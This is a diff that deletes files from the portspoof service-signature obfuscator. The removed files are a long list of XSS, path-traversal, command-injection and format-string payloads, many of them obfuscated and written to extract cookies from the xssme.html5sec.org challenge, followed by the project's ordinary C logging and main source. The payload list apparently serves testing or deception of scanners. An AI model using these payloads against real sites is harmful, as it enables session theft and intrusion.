'<script>window.onload=function(){document.forms[0].message.value='1';}</script>
|
||||
x”</title><img%20src%3dx%20onerror%3dalert(1)>
|
||||
<script>%20document.getElementById(%22safe123%22).setCapture();%20document.getElementById(%22safe123%22).click();%20</script>
|
||||
<script>Object.defineProperties(window,%20{Safe:%20{value:%20{get:%20function()%20{return%20document.cookie}}}});alert(Safe.get())</script>
|
||||
<script>var%20x%20=%20document.createElement('iframe');document.body.appendChild(x);var%20xhr%20=%20x.contentWindow.XMLHttpRequest();xhr.open('GET',%20'http://xssme.html5sec.org/xssme2',%20true);xhr.onload%20=%20function()%20{%20alert(xhr.responseText.match(/cookie%20=%20'(.*?)'/)[1])%20};xhr.send();</script>
|
||||
<script>(function()%20{var%20event%20=%20document.createEvent(%22MouseEvents%22);event.initMouseEvent(%22click%22,%20true,%20true,%20window,%200,%200,%200,%200,%200,%20false,%20false,%20false,%20false,%200,%20null);var%20fakeData%20=%20[event,%20{isTrusted:%20true},%20event];arguments.__defineGetter__('0',%20function()%20{%20return%20fakeData.pop();%20});alert(Safe.get.apply(null,%20arguments));})();</script>
|
||||
<script>var%20script%20=%20document.getElementsByTagName('script')[0];%20var%20clone%20=%20script.childNodes[0].cloneNode(true);%20var%20ta%20=%20document.createElement('textarea');%20ta.appendChild(clone);%20alert(ta.value.match(/cookie%20=%20'(.*?)'/)[1])</script>
|
||||
<script>xhr=new%20ActiveXObject(%22Msxml2.XMLHTTP%22);xhr.open(%22GET%22,%22/xssme2%22,true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();</script>
|
||||
<script>alert(document.documentElement.innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<script>alert(document.getElementsByTagName('html')[0].innerHTML.match(/'([^']%2b)/)[1])</script>
|
||||
<%73%63%72%69%70%74>%20%64%20=%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74(%22%64%69%76%22);%20%64%2e%61%70%70%65%6e%64%43%68%69%6c%64(%64%6f%63%75%6d%65%6e%74%2e%68%65%61%64%2e%63%6c%6f%6e%65%4e%6f%64%65(%74%72%75%65));%20%61%6c%65%72%74(%64%2e%69%6e%6e%65%72%48%54%4d%4c%2e%6d%61%74%63%68(%22%63%6f%6f%6b%69%65%20=%20'(%2e%2a%3f)'%22)[%31]);%20</%73%63%72%69%70%74>
|
||||
<script>%20var%20xdr%20=%20new%20ActiveXObject(%22Microsoft.XMLHTTP%22);%20%20xdr.open(%22get%22,%20%22/xssme2%3Fa=1%22,%20true);%20xdr.onreadystatechange%20=%20function()%20{%20try{%20%20%20var%20c;%20%20%20if%20(c=xdr.responseText.match(/document.cookie%20=%20'(.*%3F)'/)%20)%20%20%20%20alert(c[1]);%20}catch(e){}%20};%20%20xdr.send();%20</script>
|
||||
<iframe%20id=%22ifra%22%20src=%22/%22></iframe>%20<script>ifr%20=%20document.getElementById('ifra');%20ifr.contentDocument.write(%22<scr%22%20%2b%20%22ipt>top.foo%20=%20Object.defineProperty</scr%22%20%2b%20%22ipt>%22);%20foo(window,%20'Safe',%20{value:{}});%20foo(Safe,%20'get',%20{value:function()%20{%20%20%20%20return%20document.cookie%20}});%20alert(Safe.get());</script>
|
||||
<script>alert(document.head.innerHTML.substr(146,20));</script>
|
||||
<script>alert(document.head.childNodes[3].text)</script>
|
||||
<script>var%20request%20=%20new%20XMLHttpRequest();request.open('GET',%20'http://html5sec.org/xssme2',%20false);request.send(null);if%20(request.status%20==%20200){alert(request.responseText.substr(150,41));}</script>
|
||||
<script>Object.defineProperty(window,%20'Safe',%20{value:{}});Object.defineProperty(Safe,%20'get',%20{value:function()%20{return%20document.cookie}});alert(Safe.get())</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>r=new%20XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script>x=document.createElement(%22iframe%22);x.src=%22http://xssme.html5sec.org/404%22;x.onload=function(){window.frames[0].document.write(%22<script>Object.defineProperty(parent,'Safe',{value:{}});Object.defineProperty(parent.Safe,'get',{value:function(){return%20top.document.cookie}});alert(parent.Safe.get())<\/script>%22)};document.body.appendChild(x);</script>
|
||||
<script>%20var+xmlHttp+=+null;%20try+{%20xmlHttp+=+new+XMLHttpRequest();%20}+catch(e)+{}%20if+(xmlHttp)+{%20xmlHttp.open('GET',+'/xssme2',+true);%20xmlHttp.onreadystatechange+=+function+()+{%20if+(xmlHttp.readyState+==+4)+{%20xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi);%20alert(RegExp.%241);%20}%20}%20xmlHttp.send(null);%20};%20</script>
|
||||
<script>%20document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());}%20document.getElementById(%22safe123%22).click({'type':'click','isTrusted':true});%20</script>
|
||||
<script>%20var+MouseEvent=function+MouseEvent(){};%20MouseEvent=MouseEvent%20var+test=new+MouseEvent();%20test.isTrusted=true;%20test.type='click';%20%20document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());}%20document.getElementById(%22safe123%22).click(test);%20</script>
|
||||
<script>%20%20(function%20(o)%20{%20%20%20function%20exploit(x)%20{%20%20%20%20if%20(x%20!==%20null)%20%20%20%20%20alert('User%20cookie%20is%20'%20%2B%20x);%20%20%20%20else%20%20%20%20%20console.log('fail');%20%20%20}%20%20%20%20%20%20o.onclick%20=%20function%20(e)%20{%20%20%20%20e.__defineGetter__('isTrusted',%20function%20()%20{%20return%20true;%20});%20%20%20%20exploit(Safe.get());%20%20%20};%20%20%20%20%20%20var%20e%20=%20document.createEvent('MouseEvent');%20%20%20e.initEvent('click',%20true,%20true);%20%20%20o.dispatchEvent(e);%20%20})(document.getElementById('safe123'));%20</script>
|
||||
<iframe%20src=/%20onload=eval(unescape(this.name.replace(/\/g,null)))%20name=fff%253Dnew%2520this.contentWindow.window.XMLHttpRequest%2528%2529%253Bfff.open%2528%2522GET%2522%252C%2522xssme2%2522%2529%253Bfff.onreadystatechange%253Dfunction%2528%2529%257Bif%2520%2528fff.readyState%253D%253D4%2520%2526%2526%2520fff.status%253D%253D200%2529%257Balert%2528fff.responseText%2529%253B%257D%257D%253Bfff.send%2528%2529%253B></iframe>
|
||||
<script>%20%20%20%20%20function%20b()%20{%20return%20Safe.get();%20}%20alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true}));%20</script>%20
|
||||
<img%20src=http://www.google.fr/images/srpr/logo3w.png%20onload=alert(this.ownerDocument.cookie)%20width=0%20height=%200%20/>%20#
|
||||
<script>%20%20function%20foo(elem,%20doc,%20text)%20{%20%20%20elem.onclick%20=%20function%20(e)%20{%20%20%20%20e.__defineGetter__(text[0],%20function%20()%20{%20return%20true%20})%20%20%20%20alert(Safe.get());%20%20%20};%20%20%20%20%20%20var%20event%20=%20doc.createEvent(text[1]);%20%20%20event.initEvent(text[2],%20true,%20true);%20%20%20elem.dispatchEvent(event);%20%20}%20</script>%20<img%20src=http://www.google.fr/images/srpr/logo3w.png%20onload=foo(this,this.ownerDocument,this.name.split(/,/))%20name=isTrusted,MouseEvent,click%20width=0%20height=0%20/>%20#%20
|
||||
<SCRIPT+FOR=document+EVENT=onreadystatechange>MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;getElementById(%22safe123%22).click=function()+{alert(Safe.get());};getElementById(%22safe123%22).click(test);</SCRIPT>#
|
||||
<script>%20var+xmlHttp+=+null;%20try+{%20xmlHttp+=+new+XMLHttpRequest();%20}+catch(e)+{}%20if+(xmlHttp)+{%20xmlHttp.open('GET',+'/xssme2',+true);%20xmlHttp.onreadystatechange+=+function+()+{%20if+(xmlHttp.readyState+==+4)+{%20xmlHttp.responseText.match(/document.cookie%5Cs%2B=%5Cs%2B'(.*)'/gi);%20alert(RegExp.%241);%20}%20}%20xmlHttp.send(null);%20};%20</script>#
|
||||
<video+onerror='javascript:MouseEvent=function+MouseEvent(){};test=new+MouseEvent();test.isTrusted=true;test.type=%22click%22;document.getElementById(%22safe123%22).click=function()+{alert(Safe.get());};document.getElementById(%22safe123%22).click(test);'><source>%23
|
||||
<script%20for=document%20event=onreadystatechange>getElementById('safe123').click()</script>
|
||||
<script>%20var+x+=+showModelessDialog+(this);%20alert(x.document.cookie);%20</script>
|
||||
<script>%20location.href%20=%20'data:text/html;base64,PHNjcmlwdD54PW5ldyBYTUxIdHRwUmVxdWVzdCgpO3gub3BlbigiR0VUIiwiaHR0cDovL3hzc21lLmh0bWw1c2VjLm9yZy94c3NtZTIvIix0cnVlKTt4Lm9ubG9hZD1mdW5jdGlvbigpIHsgYWxlcnQoeC5yZXNwb25zZVRleHQubWF0Y2goL2RvY3VtZW50LmNvb2tpZSA9ICcoLio/KScvKVsxXSl9O3guc2VuZChudWxsKTs8L3NjcmlwdD4=';%20</script>
|
||||
<iframe%20src=%22404%22%20onload=%22frames[0].document.write(%26quot;<script>r=new%20XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe%20src=%22404%22%20onload=%22content.frames[0].document.write(%26quot;<script>r=new%20XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe%20src=%22404%22%20onload=%22self.frames[0].document.write(%26quot;<script>r=new%20XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<iframe%20src=%22404%22%20onload=%22top.frames[0].document.write(%26quot;<script>r=new%20XMLHttpRequest();r.open('GET','http://xssme.html5sec.org/xssme2',false);r.send(null);if(r.status==200){alert(r.responseText.substr(150,41));}<\/script>%26quot;)%22></iframe>
|
||||
<script>var%20x%20=%20safe123.onclick;safe123.onclick%20=%20function(event)%20{var%20f%20=%20false;var%20o%20=%20{%20isTrusted:%20true%20};var%20a%20=%20[event,%20o,%20event];var%20get;event.__defineGetter__('type',%20function()%20{get%20=%20arguments.callee.caller.arguments.callee;return%20'click';});var%20_alert%20=%20alert;alert%20=%20function()%20{%20alert%20=%20_alert%20};x.apply(null,%20a);(function()%20{arguments.__defineGetter__('0',%20function()%20{%20return%20a.pop();%20});alert(get());})();};safe123.click();</script>#
|
||||
<iframe%20onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var%20xhr%20=%20new%20XMLHttpRequest();xhr.open('GET',%20'http://xssme.html5sec.org/xssme2',%20true);xhr.onload%20=%20function()%20{%20alert(xhr.responseText.match(/cookie%20=%20'(.*?)'/)[1])%20};xhr.send();
|
||||
<textarea%20id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie%20=%20'(.*?)'/)[1])</script>
|
||||
<textarea%20id=ta%20onfocus=console.dir(event.currentTarget.ownerDocument.location.href=%26quot;javascript:\%26quot;%26lt;script%26gt;var%2520xhr%2520%253D%2520new%2520XMLHttpRequest()%253Bxhr.open('GET'%252C%2520'http%253A%252F%252Fhtml5sec.org%252Fxssme2'%252C%2520true)%253Bxhr.onload%2520%253D%2520function()%2520%257B%2520alert(xhr.responseText.match(%252Fcookie%2520%253D%2520'(.*%253F)'%252F)%255B1%255D)%2520%257D%253Bxhr.send()%253B%26lt;\/script%26gt;\%26quot;%26quot;)%20autofocus></textarea>
|
||||
<iframe%20onload=%22write('<script>'%2Blocation.hash.substr(1)%2B'</script>')%22></iframe>#var%20xhr%20=%20new%20XMLHttpRequest();xhr.open('GET',%20'http://xssme.html5sec.org/xssme2',%20true);xhr.onload%20=%20function()%20{%20alert(xhr.responseText.match(/cookie%20=%20'(.*?)'/)[1])%20};xhr.send();
|
||||
<textarea%20id=ta></textarea><script>ta.appendChild(safe123.parentNode.previousSibling.previousSibling.childNodes[3].firstChild.cloneNode(true));alert(ta.value.match(/cookie%20=%20'(.*?)'/)[1])</script>
|
||||
<script>function%20x(window)%20{%20eval(location.hash.substr(1))%20}</script><iframe%20id=iframe%20src=%22javascript:parent.x(window)%22><iframe>#var%20xhr%20=%20new%20window.XMLHttpRequest();xhr.open('GET',%20'http://xssme.html5sec.org/xssme2',%20true);xhr.onload%20=%20function()%20{%20alert(xhr.responseText.match(/cookie%20=%20'(.*?)'/)[1])%20};xhr.send();
|
||||
<textarea%20id=ta%20onfocus=%22write('<script>alert(1)</script>')%22%20autofocus></textarea>
|
||||
<object%20data=%22data:text/html;base64,PHNjcmlwdD4gdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOyB4aHIub3BlbignR0VUJywgJ2h0dHA6Ly94c3NtZS5odG1sNXNlYy5vcmcveHNzbWUyJywgdHJ1ZSk7IHhoci5vbmxvYWQgPSBmdW5jdGlvbigpIHsgYWxlcnQoeGhyLnJlc3BvbnNlVGV4dC5tYXRjaCgvY29va2llID0gJyguKj8pJy8pWzFdKSB9OyB4aHIuc2VuZCgpOyA8L3NjcmlwdD4=%22>
|
||||
<script>function%20x(window)%20{%20eval(location.hash.substr(1))%20};%20open(%22javascript:opener.x(window)%22)</script>#var%20xhr%20=%20new%20window.XMLHttpRequest();xhr.open('GET',%20'http://xssme.html5sec.org/xssme2',%20true);xhr.onload%20=%20function()%20{%20alert(xhr.responseText.match(/cookie%20=%20'(.*?)'/)[1])%20};xhr.send();
|
||||
%3Cscript%3Exhr=new%20ActiveXObject%28%22Msxml2.XMLHTTP%22%29;xhr.open%28%22GET%22,%22/xssme2%22,true%29;xhr.onreadystatechange=function%28%29{if%28xhr.readyState==4%26%26xhr.status==200%29{alert%28xhr.responseText.match%28/%27%28[^%27]%2b%29/%29[1]%29}};xhr.send%28%29;%3C/script%3E
|
||||
<iframe%20src=`http://xssme.html5sec.org/?xss=<iframe%20onload=%22xhr=new%20XMLHttpRequest();xhr.open('GET','http://html5sec.org/xssme2',true);xhr.onreadystatechange=function(){if(xhr.readyState==4%26%26xhr.status==200){alert(xhr.responseText.match(/'([^']%2b)/)[1])}};xhr.send();%22>`>
|
||||
<a%20target="x"%20href="xssme?xss=%3Cscript%3EaddEventListener%28%22DOMFrameContentLoaded%22,%20function%28e%29%20{e.stopPropagation%28%29;},%20true%29;%3C/script%3E%3Ciframe%20src=%22data:text/html,%253cscript%253eObject.defineProperty%28top,%20%27MyEvent%27,%20{value:%20Object,%20configurable:%20true}%29;function%20y%28%29%20{alert%28top.Safe.get%28%29%29;};event%20=%20new%20Object%28%29;event.type%20=%20%27click%27;event.isTrusted%20=%20true;y%28event%29;%253c/script%253e%22%3E%3C/iframe%3E
|
||||
<a%20target="x"%20href="xssme?xss=<script>var%20cl=Components;var%20fcc=String.fromCharCode;doc=cl.lookupMethod(top,%20fcc(100,111,99,117,109,101,110,116)%20)(%20);cl.lookupMethod(doc,fcc(119,114,105,116,101))(doc.location.hash)</script>#<iframe%20src=data:text/html;base64,PHNjcmlwdD5ldmFsKGF0b2IobmFtZSkpPC9zY3JpcHQ%2b%20name=ZG9jPUNvbXBvbmVudHMubG9va3VwTWV0aG9kKHRvcC50b3AsJ2RvY3VtZW50JykoKTt2YXIgZmlyZU9uVGhpcyA9ICBkb2MuZ2V0RWxlbWVudEJ5SWQoJ3NhZmUxMjMnKTt2YXIgZXZPYmogPSBkb2N1bWVudC5jcmVhdGVFdmVudCgnTW91c2VFdmVudHMnKTtldk9iai5pbml0TW91c2VFdmVudCggJ2NsaWNrJywgdHJ1ZSwgdHJ1ZSwgd2luZG93LCAxLCAxMiwgMzQ1LCA3LCAyMjAsIGZhbHNlLCBmYWxzZSwgdHJ1ZSwgZmFsc2UsIDAsIG51bGwgKTtldk9iai5fX2RlZmluZUdldHRlcl9fKCdpc1RydXN0ZWQnLGZ1bmN0aW9uKCl7cmV0dXJuIHRydWV9KTtmdW5jdGlvbiB4eChjKXtyZXR1cm4gdG9wLlNhZmUuZ2V0KCl9O2FsZXJ0KHh4KGV2T2JqKSk></iframe>
|
||||
<a%20target="x"%20href="xssme?xss=<script>find('cookie');%20var%20doc%20=%20getSelection().getRangeAt(0).startContainer.ownerDocument;%20console.log(doc);%20var%20xpe%20=%20new%20XPathEvaluator();%20var%20nsResolver%20=%20xpe.createNSResolver(doc);%20var%20result%20=%20xpe.evaluate('//script/text()',%20doc,%20nsResolver,%200,%20null);%20alert(result.iterateNext().data.match(/cookie%20=%20'(.*?)'/)[1])</script>
|
||||
<a%20target="x"%20href="xssme?xss=<script>function%20x(window)%20{%20eval(location.hash.substr(1))%20}</script><iframe%20src=%22javascript:parent.x(window);%22></iframe>#var%20xhr%20=%20new%20window.XMLHttpRequest();xhr.open('GET',%20'.',%20true);xhr.onload%20=%20function()%20{%20alert(xhr.responseText.match(/cookie%20=%20'(.*?)'/)[1])%20};xhr.send();
|
||||
Garethy%20Salty%20Method!<script>alert(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(Components.lookupMethod(this,'window')(),'document')(),%20'getElementsByTagName')('html')[0],'innerHTML')().match(/d.*'/));</script>
|
||||
<a%20href="javascript:\u0061le%72t(1)"><button>
|
||||
<div%20onmouseover='alert(1)'>DIV</div>
|
||||
<iframe%20style="position:absolute;top:0;left:0;width:100%;height:100%"%20onmouseover="prompt(1)">
|
||||
<a%20href="jAvAsCrIpT:alert(1)">X</a>
|
||||
<embed%20src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">%20?
|
||||
<object%20data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">?
|
||||
<var%20onmouseover="prompt(1)">On%20Mouse%20Over</var>?
|
||||
<a%20href=javascript:alert(document.cookie)>Click%20Here</a>
|
||||
<img%20src="/"%20=_="%20title="onerror='prompt(1)'">
|
||||
<%<!--'%><script>alert(1);</script%20-->
|
||||
<script%20src="data:text/javascript,alert(1)"></script>
|
||||
<iframe/src%20\/\/onload%20=%20prompt(1)
|
||||
<iframe/onreadystatechange=alert(1)
|
||||
<svg/onload=alert(1)
|
||||
<input%20value=<><iframe/src=javascript:confirm(1)
|
||||
<input%20type="text"%20value=``<div/onmouseover='alert(1)'>X</div>
|
||||
http://www.<script>alert(1)</script%20.com
|
||||
<iframe%20%20src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>%20?
|
||||
<svg><script%20?>alert(1)
|
||||
<iframe%20%20src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
|
||||
<img%20src=`xx:xx`onerror=alert(1)>
|
||||
<object%20type="text/x-scriptlet"%20data="http://jsfiddle.net/XLE63/%20"></object>
|
||||
<meta%20http-equiv="refresh"%20content="0;javascript:alert(1)"/>?
|
||||
<math><a%20xlink:href="//jsfiddle.net/t846h/">click
|
||||
<embed%20code="http://businessinfo.co.uk/labs/xss/xss.swf"%20allowscriptaccess=always>?
|
||||
<svg%20contentScriptType=text/vbs><script>MsgBox+1
|
||||
<a%20href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
|
||||
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061')%20worksinIE>
|
||||
<script>~'\u0061'%20;%20%20\u0074\u0068\u0072\u006F\u0077%20~%20\u0074\u0068\u0069\u0073.%20%20\u0061\u006C\u0065\u0072\u0074(~'\u0061')</script%20U+
|
||||
<script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script%20a=\u0061%20&%20/=%2F
|
||||
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script%20????????????
|
||||
<object%20data=javascript:\u0061le%72t(1)>
|
||||
<script>+-+-1-+-+alert(1)</script>
|
||||
<body/onload=<!-->
alert(1)>
|
||||
<script%20itworksinallbrowsers>/*<script*%20*/alert(1)</script%20?
|
||||
<img%20src%20?itworksonchrome?\/onerror%20=%20alert(1)???
|
||||
<svg><script>//
confirm(1);</script%20</svg>
|
||||
<svg><script%20onlypossibleinopera:-)>%20alert(1)
|
||||
<a%20aa%20aaa%20aaaa%20aaaaa%20aaaaaa%20aaaaaaa%20aaaaaaaa%20%20aaaaaaaaa%20aaaaaaaaaa%20%20href=javascript:alert(1)>ClickMe
|
||||
<script%20x>%20alert(1)%20</script%201=2
|
||||
<div/onmouseover='alert(1)'>%20style="x:">
|
||||
<--`<img/src=`%20onerror=alert(1)>%20--!>
|
||||
<script/src=data:text/javascript,alert(1)></script>%20?
|
||||
<div%20%20style="position:absolute;top:0;left:0;width:100%;height:100%"%20%20onmouseover="prompt(1)"%20onclick="alert(1)">x</button>?
|
||||
"><img%20src=x%20onerror=window.open('https://www.google.com/');>
|
||||
<form><button%20formaction=javascript:alert(1)>CLICKME
|
||||
<math><a%20xlink:href="//jsfiddle.net/t846h/">click
|
||||
<object%20data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>?
|
||||
<iframe%20%20src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
|
||||
<a%20%20href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click%20%20Me</a>
|
||||
"><img%20src=x%20onerror=prompt(1);>
|
||||
!'
|
||||
!@#$%%^#$%#$@#$%$$@#$%^^**(()
|
||||
!@#0%^#0##018387@#0^^**(()
|
||||
"><script>"
|
||||
">xxx<P>yyy
|
||||
"\t"
|
||||
#
|
||||
#'
|
||||
#'
|
||||
#xA
|
||||
#xA#xD
|
||||
#xD
|
||||
#xD#xA
|
||||
$NULL
|
||||
$null
|
||||
%
|
||||
%00
|
||||
%00/
|
||||
%01%02%03%04%0a%0d%0aADSF
|
||||
%0a
|
||||
%20
|
||||
%20|
|
||||
%2500
|
||||
%250a
|
||||
%2A
|
||||
%2C
|
||||
%2e%2e%2f
|
||||
%3C%3F
|
||||
%5C
|
||||
%5C/
|
||||
%60
|
||||
%7C
|
||||
|
||||
|
||||
|
||||
|
||||
'
|
||||
";id"
|
||||
(')
|
||||
*
|
||||
*'
|
||||
*'
|
||||
*|
|
||||
+%00
|
||||
-
|
||||
--
|
||||
-1
|
||||
-1.0
|
||||
-2
|
||||
-20
|
||||
-268435455
|
||||
..%%35%63
|
||||
..%%35c
|
||||
..%25%35%63
|
||||
..%255c
|
||||
..%5c
|
||||
..%bg%qf
|
||||
..%c0%af
|
||||
..%u2215
|
||||
..%u2216
|
||||
../
|
||||
..\
|
||||
/
|
||||
/%00/
|
||||
/%2A
|
||||
/'
|
||||
/'
|
||||
0
|
||||
00
|
||||
0xfffffff
|
||||
1
|
||||
1.0
|
||||
2
|
||||
2147483647
|
||||
268435455
|
||||
65536
|
||||
;
|
||||
<%20%20script%20>%20<%20/%20script>
|
||||
<?
|
||||
?x=
|
||||
?x="
|
||||
?x=>
|
||||
?x=|
|
||||
@'
|
||||
@'
|
||||
A
|
||||
ABCD|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|%8.8x|
|
||||
FALSE
|
||||
NULL
|
||||
TRUE
|
||||
[']
|
||||
[']
|
||||
\
|
||||
\"blah
|
||||
\'
|
||||
\'
|
||||
\0
|
||||
\00
|
||||
\00\00
|
||||
\00\00\00
|
||||
\0\0
|
||||
\0\0\0
|
||||
\\
|
||||
\\/
|
||||
\\\\*
|
||||
\\\\?\\
|
||||
\t
|
||||
^'
|
||||
^'
|
||||
`
|
||||
id%00
|
||||
id%00|
|
||||
null
|
||||
something%00html
|
||||
{'}
|
||||
{'}
|
||||
|
|
||||
}
|
49
src/log.c
49
src/log.c
@ -1,49 +0,0 @@
|
||||
#include "log.h"
|
||||
#include <syslog.h>
|
||||
#include <pthread.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
pthread_cond_t log_cond = PTHREAD_COND_INITIALIZER;
|
||||
pthread_mutex_t log_mutex = PTHREAD_MUTEX_INITIALIZER;
|
||||
|
||||
|
||||
void log_create(char* file){
|
||||
|
||||
FILE *fp = fopen(log_file, "a");
|
||||
if (fp == NULL) {
|
||||
FILE *fp = fopen(log_file, "w");
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
return;
|
||||
|
||||
}
|
||||
void log_write(char* msg) {
|
||||
|
||||
pthread_mutex_lock(&log_mutex);
|
||||
|
||||
if(opts & OPT_LOG_FILE)
|
||||
{
|
||||
FILE *fp = fopen(log_file, "a");
|
||||
if (fp == NULL) {
|
||||
printf("Error opening file: %s \n",log_file);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fprintf(fp,"%s",msg);
|
||||
fclose(fp);
|
||||
|
||||
}
|
||||
|
||||
if(!(opts & OPT_SYSLOG_DIS))
|
||||
{
|
||||
openlog("portspoof", LOG_PID|LOG_CONS, LOG_USER);
|
||||
syslog(LOG_INFO," %s",msg);
|
||||
closelog();
|
||||
}
|
||||
pthread_mutex_unlock(&log_mutex);
|
||||
|
||||
return;
|
||||
|
||||
}
|
@ -1,5 +0,0 @@
|
||||
#define MAX_LOG_MSG_LEN 200
|
||||
#include "portspoof.h"
|
||||
|
||||
void log_create(char* file);
|
||||
void log_write(char* msg);
|
380
src/portspoof.c
380
src/portspoof.c
@ -1,380 +0,0 @@
|
||||
/*
|
||||
* portspoof Service signature obfucastor
|
||||
* Copyright (C) 12012 Piotr Duszyński <piotr[at]duszynski.eu>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify it
|
||||
* under the terms of the GNU General Public License as published by the
|
||||
* Free Software Foundation; either version 2 of the License, or (at your
|
||||
* option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
* See the GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License along
|
||||
* with this program; if not, see <http://www.gnu.org/licenses>.
|
||||
*
|
||||
* Linking portspoof statically or dynamically with other modules is making
|
||||
* a combined work based on portspoof. Thus, the terms and conditions of
|
||||
* the GNU General Public License cover the whole combination.
|
||||
*
|
||||
* In addition, as a special exception, the copyright holder of portspoof
|
||||
* gives you permission to combine portspoof with free software programs or
|
||||
* libraries that are released under the GNU LGPL. You may copy
|
||||
* and distribute such a system following the terms of the GNU GPL for
|
||||
* portspoof and the licenses of the other code concerned.
|
||||
*
|
||||
* Note that people who make modified versions of portspoof are not obligated
|
||||
* to grant this special exception for their modified versions; it is their
|
||||
* choice whether to do so. The GNU General Public License gives permission
|
||||
* to release a modified version without this exception; this exception
|
||||
* also makes it possible to release a modified version which carries
|
||||
* forward this exception.
|
||||
*/
|
||||
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <pthread.h>
|
||||
#include <sys/timeb.h>
|
||||
#include <sys/wait.h>
|
||||
#include <err.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <limits.h>
|
||||
#include <netdb.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
|
||||
#ifdef OPENBSD
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/in.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/udp.h>
|
||||
#include <net/if.h>
|
||||
#include <netinet/if_ether.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netinet/tcp.h>
|
||||
#include <netinet/in_systm.h>
|
||||
#include <netinet/in_var.h>
|
||||
#include <netinet/ip.h>
|
||||
#include <netinet/ip_var.h>
|
||||
#include <net/pfvar.h>
|
||||
#include <net/if_pfsync.h>
|
||||
#include <net/if.h>
|
||||
#include <net/pfvar.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <altq/altq.h>
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
#include "config.h"
|
||||
#include "portspoof.h"
|
||||
#include "revregex.h"
|
||||
#include "threads.h"
|
||||
#include "connection.h"
|
||||
#include "log.h"
|
||||
#include "config_file.h"
|
||||
|
||||
extern char *__progname;
|
||||
|
||||
char opts=0;
|
||||
char *log_file=LOG_FILE;
|
||||
|
||||
pthread_cond_t new_connection_cond = PTHREAD_COND_INITIALIZER;
|
||||
pthread_mutex_t new_connection_mutex = PTHREAD_MUTEX_INITIALIZER;
|
||||
|
||||
void
|
||||
usage(void)
|
||||
{
|
||||
printf("Usage: portspoof [OPTION]...\n"
|
||||
"Portspoof - service signature obfuscator.\n\n"
|
||||
"-i bind to a user defined IP address\n"
|
||||
"-p bind to a user defined PORT number\n"
|
||||
"-f custom signture file\n"
|
||||
"-c configuration file\n"
|
||||
"-l log port scanning alerts to a file\n"
|
||||
"-d disable syslog\n"
|
||||
"-v be verbose\n"
|
||||
"-h display this help and exit\n\n"
|
||||
"Without any OPTION - use default values and continue");
|
||||
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int choose_thread()
|
||||
{
|
||||
int i=MAX_THREADS-1;
|
||||
int min = i;
|
||||
